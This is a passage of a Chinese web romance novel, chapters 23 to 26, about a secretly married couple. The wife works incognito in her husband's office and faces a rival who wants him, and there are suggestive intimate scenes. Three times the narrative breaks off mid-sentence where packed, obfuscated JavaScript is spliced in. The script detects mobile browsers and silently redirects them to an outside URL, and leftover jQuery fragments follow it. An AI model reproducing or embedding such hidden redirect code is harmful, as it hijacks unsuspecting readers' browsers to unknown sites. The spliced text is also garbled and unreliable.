温珍旎撩起发沉的眼皮瞟她一眼,“你是真的不遗余力想带坏我。”
她干巴巴地嚼着蜗牛肉,放在旁边的手机震动时,她几乎是有些激动地抓起手机。
奚淼瞥到了备注名,眼波流转,红唇勾起笑意,“某人来查岗了。”
她尾音上扬,眼神里闪烁着八卦的光芒,“一日不见如隔三秋……你们不会真的谈了吧?”
温珍旎脸颊微热,飞快地否认,“都老夫老妻了,谈什么恋爱。”
奚淼托着腮,看温珍旎划开接通键,眼神里的揶揄几乎要溢出来,“快接!”
温珍旎把手机贴到耳边,“老公,早啊。”
“在哪?”低沉略微沙哑的嗓音透过听筒,听不出什么情绪,却带着天生的掌控力。
23. 023
“唔。”温珍旎匆匆瞥了眼对面正饶有兴致观察她表情的奚淼,只觉得脸颊更烫了,“陪淼淼来北城,拍一套珠宝。”
电话那头,慈恒解衬衣扣子的动作顿住。他紧赶慢赶把工作做完,驱车赶回来,迎接他的不单单是空荡荡的宅子,连人还跑没影了。
他给听笑了,“所以,你是打算明早飞回来?”
顿了顿,语气陡然一转,“奚淼几次三番把你拐走,我不介意找她父亲谈谈,是不是太清闲,给她安排一下正经工作。”
温珍旎真是怕了他了,“晚上肯定能回,回香山路。”
“嗯。”又是一个冷冷的单音节。
不等她再开口,电话就被利落地挂断了,只剩几声忙音。
奚淼晃着酒杯,意味深长地一笑,“怎么说?”
温珍旎一脸无奈,“还能怎么说,要找你父亲谈话呢。”
“天杀的魔鬼!”奚淼白眼快翻上天了,恨恨地戳着盘子,“肯定是我说他坏话太多,今天让他逮着机会针对我。”
“行啦,不生气了。”温珍旎赶紧给她顺气,“我回家了帮你说他。”
奚淼哼哼:“这还差不多。”
在北城已经消磨了快一天,温珍旎不好再逗留,吃完饭就跟奚淼分开,踏上最后一班回天海的航班。
说好入夜前就能回,可当司机把她送到香山路时,已经是夜深人静。
开了指纹锁,玄关感应灯亮起,温珍旎屏住呼吸,探进脑袋,落地窗外霓虹如画,客厅里却是一片漆黑。
或许都已经睡了。
她把高跟鞋脱下,小心翼翼地拎进鞋柜。
脚趾刚陷进柔软的地毯,落地灯“啪”地一声亮了。
“舍得回来了?”一道低沉到辨不清情绪的嗓音响起。
温珍旎吓得一激灵,手里的购物袋滑落脚边,她扶着胸口,惊魂未定地往落地灯方向看去。
慈恒气定神闲地坐在沙发上,指尖搭着腕部的表盘,“嗯,进步了,还没到凌晨。”
“……还没睡呢。”
温珍旎观察了一下脸色,看他不是真的生气,脸上堆起甜笑,赶紧过去挨着他坐下。
“老公。”手臂顺势环上他的腰,将脸颊贴在他肩窝,蹭了蹭,带着浓浓的鼻音撒娇,“好累,快给我抱一下。”
她真的很会服软,只要撒娇,他那颗再硬的心,也总能被她磨软。
慈恒没动,任由她抱着。片刻后,才抬起一只手,掌心覆上她的后脑勺,指腹缓缓碾磨着后颈,“今天拍什么了?”
“我没拍。”温珍旎蹭着他颈窝,勾过领带缠在指节,绕了半圈,“东西很好,可惜没有特别中意的。”
慈恒抚着她的背,呼吸扫过耳边的软肉,“困不困?”
温珍旎在他怀里轻轻摇头。
慈恒抽走她掌中的领带,手掌忽然覆上她的大腿,略微施力,单手把人抱了起来。
悬空的刹那,温珍旎天旋地转,惊呼了一声,双手下意识撑住他坚实的肩膀,“你干嘛!”
慈恒没有理会,抱着她大步走向盥洗室。
下一瞬她被掐着腰抱上大理石台面,打翻的瓶瓶罐罐被随意扫到一旁去。
温珍旎的腰撞上冰凉的盥洗台边缘,一股寒意顺着尾椎往上爬,激得她轻轻一颤,“不是洗澡?”
慈恒俯身逼近,触碰着她的鼻尖,“交作业。”
温珍旎噎了一下。白日里禁欲克制的斯文模样,怎么到了私下,什么都说。
“可以是可以。”温珍旎主动牵起他一双手,按在自己腰上。
食指点着他的胸肌,一字一句,表情认真,“但这次换我欺负你。”
慈恒眯眼,“又是奚淼教你的?”
温珍旎:“我自己领悟的不行吗?”
“行。”掌心摩挲腰间,声音擦着耳廓滚进来,“你想怎么主动?”
他笑了一下,没再说话,整个盥洗室只有腕表秒针跳动的声音,清晰得可怕
他微垂着眼皮,指节拽着领带往下扯松了两寸。
解开腕表扣带时,故意放慢了动作,金属表带擦过腕骨,带起磨人心尖的沙沙响。
“还是说,需要我做一遍示范?”
“我可以!”温珍旎赌气般握住了领带,手却颤得不行。
“大小姐,不是这么解的。”
温柔的声调逼近,男人握住她的手指,“我教你。”
燕尔新婚时,这双教她打温莎结的手,此刻又再次手把手地带着她,将规整的结扣拆得七零八落。
“看懂了?”
“知道了。”温珍旎颤抖着唇,手底下终于解完衬衣扣子。
指尖陷入胸肌沟壑的那一刻,男人的心跳在她指腹下有力地鼓动着。
慈恒仰起下颌,那只手就顺着肌理往上。
划过绷紧的下颌,指甲上的钻石不小心刮出了一道血丝。
慈恒“嘶”地一声。
“对不起,我不是故意的。”温珍旎触电般地缩回手指,急着要为他检查伤口。
慈恒握住越添越乱的手,神情无奈,“应该把美甲也纳入管制刀具。”
他眼底翻涌着柔色,低下头,鼻尖蹭过卷翘的睫毛,潮热的呼吸喷洒在温珍旎脸上。
呼吸太近,惊得她耳心跳动。
不过细看那道浅红的血痕时,贴着下颌骨,竟然有些战损的美感。
“还笑!”慈恒握住她的手,牢牢按在台面上,“你每次都在谋杀亲夫的边缘试探。”
手腕被桎梏的地方,婚戒在皮肤上压出了红痕。
温珍旎攥紧被揉皱的衬衣,小声抗议,“你不讲信用。”
“怎么不讲信用了。”
男人目光扫过她锁骨,声音似饮了酒酿,目光微醺,“怪我这个老师没教会你?说说看。”
温珍旎被按住了腿,只好勾住脖子,“你歪理好多唔……”
尾音淹没在贴近的唇齿间,带着薄茧的指腹,抓住了一颗蓬勃跳动的生命。
脊背被压在壁砖上,花洒不知什么时候被碰开的,热水顺着发梢滚落,淋透了他的衬衫,透出紧绷的肩胛线条。
玻璃蒙起一层薄雾,温珍旎的眼睛也跟着起了雾。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918421|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……说好欺负他的,最后还是成了被欺负的那个。
再睁眼时,又是新的一周。
本来因为要上班还有点起不来床,不过睁眼就看到狗男人的微信转账,她立即满血复活,甚至还破天荒地陪慈恒上了个早班。
等她巡检完总裁室,回到工位时,其他人才陆续到的总裁办。
“早上好啊。”
露西打着哈欠,看温珍旎指尖都快敲出火星子,钦佩地竖起了大拇指,“倩倩,你精神真好,都没有星期一综合症的吗?”
温珍旎眼睛一目十行,比起刚来那会儿,工作效率是肉眼可见地提升了。
“工作嘛,早做晚做都是要做的,那不如开心点。做完了,给自己奖励一份奶茶蛋糕什么的,下次才有动力继续干活。”
今天红包够大,她心情好,工作起来更有劲了。
露西笑着说:“我心态要是有你一半稳,也不至于三天两头被主任骂了。”
两人闲扯的功夫,李薇抱着一摞文件夹,跟着主任走了进来。
主任拍着手让大家暂停一下手里的工作,“度假区项目虽是赵总负责,但慈总也会跟进,大家打起精神来,每项数据务必核验仔细。”
“现在把任务分配一下。露西,你汇总一下采购清单,还有工程进度和预算执行率的数据,做成简报,明天下午两点前慈总要亲自审阅。”
“倩倩,你协助朱娜审核各部门提交的合同和报告。”
“好的。”温珍旎接过李薇发下来的文件。
露西翻开自己的那份,“信息量爆表,又是任务繁重的一周。”
要从海量信息中提取核心指标,确实是干死脑细胞的节奏。
主任派完任务,总裁办里噼里啪啦响起一片键盘声。
忙完半天的工作量,温珍旎揉了揉酸胀的后腰,拿上杯子去茶水间接水。
饮水机的水声里,她回复着微信消息,外面突然传来朱娜的大嗓门。
“家人们,方胜的姜总又又又来了。”
温珍旎按着手机的指尖倏地顿住,跟着竖起了耳朵。
“她怎么又来了!”
其他人跟着唏嘘,“项目都开工了,还来干嘛呀?”
“别忘了景观湖项目,三月份公开招投标,方胜也中了标,所以她今天是跟着来确定方案的。而且很明显,她对咱们慈总有意思啊。”
不知道谁打开了碎纸机,咔嚓??咔嚓??的吞吐声里,有人小声提醒,“没证据的事,最好别乱说。再说了,她本来就是项目负责人之一,过来对接工作无可非议。”
“对对,都别说了,我听见有人来了。”
七嘴八舌的八卦声骤停,似乎是其他部门的职员来核对信息了。
温珍旎端着水杯回到工位,拿起桌上的手机,刚好有一声提示音。
是慈恒发来的微信,让她去办公室一起吃午餐。
温珍旎嘴角不自觉弯起,指尖轻点,迅速敲下一行字:【好哒老公,这就来……】
发送成功后,指尖在页面悬停了片刻,然后切到了外卖小程序,下单了一束鲜花。
24. 024
会议室里,就观景楼方案,刚结束了最后一轮讨论,把最终方案敲定下来。
签字盖过章,项目负责人笑道:“方胜给出的方案很漂亮,我们很期待,接下来就辛苦各位了。”
“应该的。”
这个项目是由方胜其他成员负责,姜琳这次只是应上级要求随行而来,替公司参考和把控。
作为不可或缺的关键人物,她在全场的存在感尤其高,受到了不小的关注。
会议结束之后,大家整理着手头的资料,说笑间夹杂着几句轻松的家常话。
不知道是谁忽然冒出一句:“慈总的下巴怎么受伤了?”
姜琳手中的钢笔倏地顿住,目光下意识落向席位上的清峻身影。
慈恒抬眼,下巴处的伤痕在光线下确实醒目。
他用指腹摩挲着那道结痂的伤口,笑着回那人,“不小心划到的。”
“姜总?”同事见姜琳愣在座位上,轻碰她的肩膀,“该走了。”
姜琳方才回了神,旋紧钢笔,起身走向慈恒,“听说泰华的饭很好吃,我还没尝过。阿恒,要一起去吗?”
往外走的慈恒头也没回,平淡地回道:“抱歉,我有约了。”
姜琳表情尴尬了一瞬,“那下次吧。”
眼看姜琳红了耳根,陆方洋脑子转得飞快,“慈总最近在温养,都是家里送餐过来。”
不好让人下不来台阶,他又道:“姜总要是不介意,我陪姜总去食堂吧。”
姜琳只好点头,“那就有劳陆总助了。”
楼层走廊上已经空荡荡,这个时间点大部分人都去了员工餐厅。
正午的阳光从百叶帘缝隙里淌进总裁室,随着门推开,温珍旎抱着花束轻手轻脚地溜进来。
看她小心翼翼的样子,慈恒就觉得好笑,“又不是做贼,那么小心做什么。”
“你忘了,我用的是乔倩倩的身份。要是暴露了,你就是板上钉钉的婚外情,是要上舆论头条的。”
温珍旎放下怀里的花束,找来一把剪刀,剪了玻璃纸,把花枝整理出来。
她四处看了看,没有可以插花的容器。
“有花瓶嘛?”她问。
办公室布置简单,绿植摆件什么的都很少。
慈恒对他的办公室还不太熟悉,“休息室应该有,去找找看。”
温珍旎去了休息室,还真找到一只白色的骨瓷花瓶。
慈恒把保温饭盒里的饭菜摆出来,她也修剪好了花枝,错落着插进那只花瓶。
紫风铃花束,混着小飞燕和白色紫罗兰,配上这只白色花瓶倒是雅致得很。
慈恒有些惊奇,“怎么想到买花了?”
“每天多看美丽的东西,心情会更好。”
温珍旎挑了角度,把花瓶摆到茶几上,看了看,很满意自己的杰作,“不好看吗?”
“还行。”慈恒随意瞥了眼,“过来吃饭。”
排骨的香味已经飘得满屋都是,温珍旎去洗了手坐过来,用力嗅着饭菜香,“又做了超多好吃的。”
慈恒用筷子挑开鱼肉,夹了最嫩的一块放进她碗里,“今天工作顺不顺利?”
温珍旎咬着一块素鹅卷,口齿不清地回他:“这周工作量挺大的,搞不好要加班。你下班就回吧,让小苏接我就好。”
慈恒抽了一张纸巾,擦掉她唇边沾到的油珠,“你倒是把这份临时工干得挺好。”
温珍旎浅笑,“毕竟是真的领工资干活,干不好要扣钱的。”
牛马就要有牛马的自觉。
她舀起一勺蟹粉豆腐,汤匙递到慈恒唇畔,“老公,你吃这个,超好吃。”
慈恒语气无奈,“在你眼里,有哪样不好吃。”
温珍旎反驳,“西兰花,我就不喜欢。”
“我以为你来者不拒,只要是吃的,都不会挑。”
慈恒嘴上习惯性地调侃她,但还是衔住汤匙,吃掉了那勺蟹粉豆腐。
**
隔天慈恒出差去北城了,温珍旎又过上了自己上下班的日子。
剩下的假期不多了,秦清问剧本看得怎样,她心虚地说过了几遍,保证没问题,然而一到晚上就苦哈哈地挑灯夜战,比辗转演出的那两年都要忙。
夫妻俩各忙各的,别说视频联络了,连对话框都沉寂了好久。
转眼又是周五,下午公司开了大会,总裁办临时加了一个钟头的班。
温珍旎敲下最后一个字,把表格保存归档,揉着发酸的脖颈,看向窗外沉沉的暮色。
城市的霓虹无声地流淌着,勾勒出CBD摩天楼群高耸的轮廓。
“哇,好晚了。”
“我饿了,要不去吃新开的那家泰式火锅吧。”
“昨天去过了,我觉得一半,不如去吃铁锅炖大鹅。”
结束加班的同事一边收拾东西,一边兴奋地商量着去哪家餐厅吃饭。
“倩倩,你要不要和我们一起?”露西来问温珍旎。
这个点是该吃饭了,但想着剧本的事,温珍旎狠心拒绝了,“还有一点没做完,你们先走吧。”
“好吧。”露西挎上包,拍了拍她的肩,“那我们先走了,你也早点回。”
温珍旎:“好,拜拜。”
一群人有说有笑地离开,办公室渐渐安静了下来。
最后一个走的朱娜经过她的工位时,脚步忽然顿住,神神秘秘地问:“倩倩,车牌号111ZN的帕拉梅拉是你的吧?”
她眨着眼,“早上我看见你泊车了。”
温珍旎指尖在键盘上顿了一下,否认不了,索性浅浅一笑:“嗯,偶尔开一下。”
“好,我知道了。”朱娜没再多问,只是笑着跟她挥了挥手。
目送同事的身影消失在门口,温珍旎靠向椅背,划亮手机屏幕,微信对话框还停留在他出差前。
也不知道是不是在忙。
要不礼貌问候一下?
指尖悬在屏幕上,迟疑几秒后,还是果断地点开了对话框。
【老公,忙完了吗?吃饭没有?】
发送出去后,又发了一个熊猫人比心的表情包。
五分钟过去,屏幕还是固执地暗着,没有任何回音。
算了,估计在忙。
她轻叹一声,无聊将手机扣在桌面上。
还是看会儿剧本吧。
她从包包里翻出剧本,咬住笔杆,蹙眉望着密密麻麻的汉字,开始对着大段台词发愁。
直到胃部传来抗议的声音,才想起来没吃晚饭。
点开外卖软件,滑动着诱人的美食图片,却激不起半分食欲。
没什么特别想吃的,就点一杯热奶茶暖暖胃好了。
下完单,她突然想起总裁室好几天没打扫了。
这会儿公司各部门走得差不多了,整栋大楼沉入一片寂静。八十八层更是静得能听见自己的呼吸声。
推开玻璃门,走廊里的风被一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926986|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起带进来,办公桌上那束紫风铃花已经干瘪枯萎,花瓣轻轻颤了颤,风一吹,就簌簌地往下掉。
她把花扔进垃圾桶,等着保洁阿姨来收。
打扫完,再回总裁办,外卖也刚好送到。
喝了半杯奶茶,趴在桌上无聊地翻了一会儿剧本,眼皮越来越沉,像坠了铅块,不受控制地打架。
太困了,小睡几分钟就回家吧。
结果这一觉太沉,直接睡了过去,错过了好几通电话。
电话始终无人接听,慈恒叫人查了监控,确认她在办公室,便直接从机场驱车赶回公司。
找过来时,总裁办里漆黑一片,唯独温珍旎的工位笼罩着一圈光晕。
刚从漫长的航程中抽身出来,男人眉宇间压着一丝倦意,他捏了捏额角,目光落在伏案熟睡的身影上。
没喝完的奶茶凉透了,旁边还剩咬了一半的抹茶可颂。
温珍旎侧着脸枕在摊开的剧本上,空调风吹起她鬓边的碎发,一缕发丝黏在了唇畔,随着呼吸起起伏伏。
“在哪都能睡。”
慈恒语气无奈,指尖触到脸颊压出来的那道红印子,睡梦中的人轻声呢喃了一声,扭头换了个方向。
签字笔从她松开的手指滚落,慈恒及时伸手接住,插回笔筒,顺手帮她整理好凌乱的桌面。
当掌心再次覆上她肩膀时,温珍旎纤长的睫毛颤了颤,眉心无意识地隆起,然后眼皮艰难地掀开了一道缝隙。
视野从混沌到清晰,带着刚苏醒的茫然,“老公?”
出风口灌下的冷气里,温珍旎揉着眼睛,疑似自己产生了幻觉,不然怎么看到慈恒了。
“回家再睡。”
慈恒帮她装好剧本,拎了包,迈开长腿往外走。
“你怎么今晚回来了?”温珍旎赶紧起身,小跑着跟上。
男人没有停顿,也没有回头,“不是你给我发消息,让我回来。”
啊,什么时候的事?
他该不会是说那条微信消息吧。
“……那个。”她发消息就是寻常问候,他怎么理解成催他回家的。
可是,就算是她的礼貌问候,他就没有一句礼貌回复嘛。
“狗男人。”
温珍旎小声吐槽了一句,前面的男人突然回过头,“嘀嘀咕咕说什么?”
温珍旎心虚地摆手,“没说什么。”
慈恒眯了眯眼,没有拆穿她在背后骂他。
电梯门在两人面前滑开,他按着开门键,看她还在磨蹭,眉宇间掠过一丝无奈,“发什么呆,进来。”
“哦,好。”温珍旎像被惊到的兔子,赶紧进了轿厢。
电梯门缓缓合上,数字开始跳动时,先前还一脸风轻云淡的男人突然拽住她的手腕,将她霸道地扯进怀抱。
温珍旎惊骇地抬头,撞进一双漆黑的眼眸。
那里面不再沉静,而是带着灼人的热度,酝酿起一场狂暴的暗潮。
“你……”惊呼刚溢出唇瓣,就被堵了回去。
慈恒没有给她任何反应的时间,紧扣住她的手腕,另一只手握住她的后颈,带着近乎蛮横的力道,将她压向电梯壁。
背脊撞上坚硬的轿厢,带来一丝钝痛,但更强烈的冲击力是覆上来的唇。
他的气息好热,强势地撬开她因为震惊而微启的齿关,潮热的气息瞬间将她淹没,霸道地驱散了肺里不多的空气。
……这个男人,回来就啃她。
25. 025
不是温柔的触碰,是一个带了惩罚意味,夹杂了失控情绪的吻。
他几乎不会在外面表达亲密关系,何况是失控。
电梯的数字无声变化着,轿厢内只有交错的呼吸声,和衣料摩擦的细微声,在安静密闭的轿厢里被无限放大,敲打着彼此的感官。
就在温珍旎觉得自己快被吻到窒息时,慈恒的动作顿住了。
他拉开一点距离,额头抵着她的额头,呼吸依旧灼烧着她的唇瓣。
眼眸里面翻涌出来的情绪还未平息,却多了连他自己都没有察觉的迷惘。
温珍旎更是懵的,想说什么,张了张嘴,什么也没说,只是指尖绞得他衬衣下摆发了皱。
看着她因为缺氧而发红的脸颊,拇指轻碾眼角,“不是说想我了,现在当面回应你。”
温珍旎脑子一片空白,只是茫然地点头,完全没有意识到他说了什么。
慈恒没有再看她,却捏紧了她的手腕,盯着不断下降的数字,直到电梯“叮”的一声,平稳地停在负层停车场。
温珍旎茫然地被他牵着,坐进副驾。
“下班了为什么不回家?”
低沉的嗓音裹着凉意,惊得她后背一僵。
亲都亲了,怎么还有秋后算账啊?
“那个……”她嘴里支吾着。
“怎么说?”慈恒盯着她毛燥燥的后脑勺,解了衬衣两颗扣子,一副看你怎么编的神情。
温珍旎还能怎么说,当然是把责任推到工作上去,“下午开了大会,工作没做完,留下来加班了。”
“是吗?”慈恒语气听不出波澜,“看来是得重新评估一下,总裁办的工作量。”
温珍旎将信将疑,“你说真的?”
他没有立刻回答,把人轻轻拉进怀里,低头蹭着她的发顶。
温珍旎伸出指尖,戳弄他胸口,“那我给慈总一次机会,考虑要不要放水。”
这个称呼总是带着点公事公办的疏离,此时此刻却染上了难以言喻的挑逗色彩。
慈恒捏住她的下巴,迫她完全仰起头,迎向他的目光。
“今晚提前收点定金,我再考虑可行性。”
低沉沙哑的声线磨过心尖,随着最后一个字音落下,他的吻划过她的眼角。
密闭的车厢里,温度急剧攀升,空气瞬间变得稀薄,又莫名地粘稠……
还好是周末了,不用早起上班,温珍旎安心地睡了个懒觉,到中午才慢吞吞地起床。
慈恒去公司加班了,她吃过午饭,回家看望了老父亲,然后回樟园,过完最后一个轻松周末。
周一清晨,温珍旎照例打扫完总裁室。
刚回到工位,打开小程序上订好一束粉百合,李薇就踩着点走了进来。
“十一点慈总有个会议,三点还有一场CXO述职会,倩倩,记得准备好会议室,调试好投影仪,不要出现任何技术上的失误。”
她在温珍旎的桌沿轻叩了一下,加重语气,“还有董事会汇报PPT,明天要用,你最好下班前做好初稿,发我过目。”
交代完毕,利落地抽走了温珍旎手边的待签文件,转身离开。
温珍旎捻着文件页角,外面走廊又响起一阵错落的高跟鞋声,由远及近,最终停在了门口。
她以为是其他部门的同事来核对资料,头也没抬,却听见一个熟悉的声音在耳边响起:
“大家中午好。”
温珍旎翻文件的手顿住,扭头看去。
姜琳步履从容地走了进来,深灰色西装裙剪裁合体,衬得她身姿挺拔,气质干练。
“姜总!”
露西起身迎上姜琳,“姜总可是有什么需要我们效劳的?”
姜琳脚步在温珍旎的工位旁停住,“今天过来谈观景楼方案。想着麻烦大家这么久,很是不好意思,就给大家带了点小礼物。”
跟她一起来的助理手里拎着两只包装袋,“这是姜总买给大家的甜品。”
袋子上印了醒目的logo,有人一眼就认了出来,“南门的皇家蛋糕,这可不便宜啊。”
姜琳的视线扫过众人,在温珍旎脸上停留一瞬,语气带着生疏的亲和感,“小小心意,希望大家不要嫌弃。”
她示意助理,“你给大家分一下。”
“我来帮忙吧。”
露西过来给助理搭手,两人配合着,将纸盒里的小蛋糕分发给总裁办的每个人。
奶油和水果香气在空气里弥漫开,同事们捧着蛋糕,脸上挂起受宠若惊的笑容,连声道谢。
“姜总太客气了!”
“谢谢姜总的蛋糕!很好吃。”
姜琳颔首微笑,“喜欢就好。”
带着助理离开时,她的目光再次掠过温珍旎。
等到高跟鞋的声音消失在走廊,办公室里热络的气氛才渐渐散去。
同事们的窃窃私语顺着蛋糕香味飘了过来。
“什么意思啊,突然给我们买这么贵的蛋糕?”
“谁知道呢,无功不受禄,以后都不好八卦了。”
“喂,你们瞧见没,还有一盒蛋糕在她手上,猜猜是给谁的?”
还能给谁,这不明摆着吗。
“倩倩,这块给你。”露西递上一盒蛋糕,摇头感慨着,“这家蛋糕是真不便宜啊。”
皇家蛋糕的品牌定位就是高端人士,姜琳送的这款蛋糕是最贵的那个系列。
温珍旎低头看着点缀了各种新鲜水果的小蛋糕,拍了一张照片,发给奚淼:
【天海一中的女神给我们总裁办每个人都买了蛋糕。】
奚淼回了一个幸灾乐祸的表情:【收买人心的蛋糕,就说吃不吃吧。】
温珍旎:【吃啊,269一个呢,不吃多浪费。】
她用叉子尖狠狠地戳破了蛋糕,表面的焦糖壳裂开,流出酥雪般的奶油。
不愧是三位数的小蛋糕,不论颜值,还是味道,都属上品。
真有意思,一个事业成功的女人要什么没有,怎么就热衷于挖别人的墙脚。
**
姜琳从总裁办出来后,打发了助理,提着那盒精心包装的蛋糕,推门而入。
“阿恒,我带了苹果派,一起吃吧。”
慈恒站在办公桌前,双手撑着桌沿,在打量面前的骨瓷花瓶。
一捧粉百合插在瓶中,他看得极为认真,窗外漏进来的光线将一向冷峻的轮廓描得分外温柔。
听到推门的声音,他方才转过头,平静地迎上姜琳的的视线。
刚才那一瞬的温柔荡然无存,仿佛只是她的错觉。
姜琳把蛋糕盒放在办公桌上,“酸甜口味,不会发腻的。”
“谢谢。”慈恒道了谢,并未看那盒苹果派。
他将最后一粒袖扣戴上,视线落向平板上的日程安排,“我还有个内部短会,中午你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931107|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可以在隔壁接待室里休息。”
逐客令下得很委婉。
姜琳默默蜷缩了一下手指。
高中时,作为经常和他搭档参加赛事的固定伙伴,虽然他也总是与人保持着社交距离,但至少还能感受到基于共同目标的默契。
可自从上次在饭局上,她借着酒意半真半假地试探过后,他的回避就变得清晰而冰冷。
一丝涩意爬上心头,姜琳扯出一个还算得体的微笑,“好,那你先忙。”
她转身准备走,忽然想起什么,又顿住脚步,状似随意地问起,“对了,班长他们定好了同学会的时间,就这周六的晚上,你去吗?”
“嗯,文老师问了几次,我答应她会到场。”
慈恒回答了她的问题,绕过宽大的办公桌,拉开门,温珍旎抱着文件正站在门外,一只手悬在半空,还维持着敲门的动作。
他眉宇间的冷硬舒展开,声音里透出柔和,“站着做什么,怎么不进来?”
温珍旎收敛起八卦的神情,正了正色,将手中的文件夹递上,“慈总,会议室准备好了。另外这里有份文件需要你过目签字。”
“嗯,先放桌上,我开完会回来看。”
他抬手看了眼腕表,补充道,“会议大概两点结束。”
这是……在报备行程?
“好的,慈总。”
温珍旎脸上堆起笑,恭恭敬敬地送走了老板。
那姿态和表情,娴熟得已然是一个合格的打工人了。
而办公室里的姜琳,还没有要离开的意思。
温珍旎维持着微笑,“姜总打算等慈总回来吗?”
姜琳没有回答,她靠在在办公桌边缘,双臂交叠,目光毫不避讳地将温珍旎从头到脚打量了一遍。
那目光里的审视,让人想无视都难。
片刻后,姜琳才慢悠悠地开口,“听说慈总的办公室都是你在打扫。”
温珍旎没想到她连这种琐事都要打听。
她大大方方地迎上对方的目光,“确实是我在负责。”
她坦荡自然,反倒显得姜琳有些心虚。
为了掩饰那一瞬的落败,姜琳的视线转向那束粉百合,“阿恒什么时候喜欢这种小家子气了?”
她托起一瓣花瓣,目光有些嫌弃,“我记得他不喜欢花,办公室从不许有任何花草出现。”
听上去是说花,但不只是说花。
温珍旎听得出来姜琳话里有话。
她刻意睁大了眼睛,装出一副懵懂天真的模样,笑着反问姜琳:“是慈总亲口告诉姜总,他不喜欢花的?”
轻飘飘的一句反问,噎住了姜琳。
姜琳脸上的表情滞住。
但是骨子里的骄傲不允许她在任何时候示弱。
她下巴微微扬起,“我们高中同班三年,又是参加竞赛的固定搭档,对他的习惯和喜好,自然比别人了解得多。”
她重点强调他们是搭档,证明自己与慈恒之间那段她自认为特殊的过往。
“噢,原来姜总和我们慈总是同学。”
还以为你是他的老婆呢。
温珍旎在心里小声吐槽,歪了歪头,张口却是和笑容不符的平静,“从我负责总裁室以来,没有接到任何反馈。慈总没有表达过不满意,是不是说明,他没有不喜欢?”
“再说了,人都是会变的,以前不喜欢的,也许后来就喜欢了呢。”
26. 026
姜琳站在那里,只觉得有一股寒意从脚底窜到了后背。
眼前的温珍旎,明明笑容甜美,却让她心底一阵阵发冷。
还有……前所未有的挫败。
这个看似性格温良的小助理,远比自己想象的聪明。
她引以为傲的过去,自以为是的了解,在对方四两拨千斤的反击下,显得如此苍白可笑。
“姜总要去接待室吗?”温珍旎不想太让人难看,适时递了台阶。
姜琳攥了攥掌心,这个台阶想下,可她心里始终不甘,“麻烦乔助理把蛋糕拿去冷藏。等他开完会已经过了饭点,可以暂时先垫垫肚子。在海外的时候,他老是忙到忘记时间,对胃不好。”
要强不是不好,但要强到这种地步,也实属叫人无奈。
温珍旎都佩服自己,居然能忍受,“好的。”
她提起蛋糕盒子,看了眼标签,苹果派,少糖系列。
还真是用了心的。
温珍旎把蛋糕带回茶水间,随手送给了来送文件的其他部门同事。
正好到了放饭时间,今天林诺不送餐,她跟同事一起去食堂吃了饭。
回到办公室,慈恒还在开会,便给他点了份外卖,并发微信提醒:
【给你点了外卖,记得吃啊。】
慈恒回复她:【晚上有应酬,下班了让司机送你回家,不要加班。】
说到加班,温珍旎对着PPT的图表一筹莫展。
她也不想加班,奈何大脑空空不给力啊。
“怎么了?”露西看她一脸愁云惨淡,关心道。
温珍旎苦着脸,“做PPT呢。”
不会做的东西,就只好勤能补拙了。
抱着迟早能做完的心态,她硬着头皮跟PPT奋战。没做完的部分,拿回家继续死磕。
晚上就匆匆扒了几口饭,然后一头扎进电脑,进入忘我境界。
慈宇哼着歌进门时,就看见自家嫂子坐在椅子上,对着电脑屏幕微蹙眉头。
他凑过去瞄了眼屏幕,惊奇地发现在做PPT,“嫂子可以啊,这PPT做得比我漂亮多了。”
温珍旎正在给PPT插入图片,听到小叔子的夸奖,嘴角翘了起来,嘴上却抱怨道:“还不是你哥,新官上任三把火,烧得整个集团跟着他连轴转。现在各部门每天都是生死竞速,班一加就没有尽头。”
听到这话,慈宇就像找到了革命战友,激动得就差当场飙泪了,“所以嫂子能理解我的水深火热了吧?”
“是啊。”想到他那可怜的全勤,温珍旎就想笑,“辛苦你了。”
“对了,你怎么这个点才回来?”她问。
“跟我哥应酬去了。”慈宇解释,“他在外面接电话。”
应酬上少不得要喝酒,所以家里有准备蜂蜜水的习惯,温珍旎吩咐佣人倒了两杯。
慈宇舒服地啜了一口蜂蜜水,小声给她出主意,“嫂子,听我说,你去求我哥,让他帮你做,他那脑子分分钟搞定。”
温珍旎脑海里瞬间浮现出慈恒挑着眉,扬着下巴,用最平淡的语气赏她一顿阴阳怪气的样子。
她连连摇头:“让大魔王帮忙,那还是我自己熬夜做吧。”
“熬什么夜?”
刚在人后吐槽了大魔王,玄关处传来慈恒微凉的声音。
得,被抓现行了。
温珍旎赶紧把头埋得低低的,全神贯注地敲起键盘。
慈恒扯松领带,过来时身上裹着一股热浪。
